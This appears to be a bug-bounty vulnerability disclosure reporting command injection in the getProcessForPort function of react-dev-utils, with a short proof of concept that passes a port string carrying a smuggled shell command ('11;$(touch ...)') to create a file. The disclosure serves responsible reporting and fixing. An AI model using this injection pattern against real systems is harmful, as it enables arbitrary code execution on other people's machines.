Command Injection in react-dev-utils

[zpbrent]

✍️ Description

react-dev-utils includes some utilities used by Create React App.

The function getProcessForPort in react-dev-utils is vulnerable to command injection.

🕵️‍♂️ Proof of Concept

Create a .js file with the content below and run it, then the file pzhou@shu can be illegally created.

// poc.js
var getProcessForPort = require('react-dev-utils/getProcessForPort');

getProcessForPort('11;$(touch pzhou@shu)');

💥 Impact

Arbitrary code execution.

☎️ Contact

Not currently.

✅ Checklist

In my pull request, I have:

• Created and populated the README.md and vulnerability.json files
• Provided the repository URL and any applicable permalinks
• Defined all the applicable weaknesses (CWEs)
• Proposed the CVSS vector items i.e. User Interaction, Attack Complexity
• Checked that the vulnerability affects the latest version of the package released
• Checked that a fix does not currently exist that remediates this vulnerability
• Complied with all applicable laws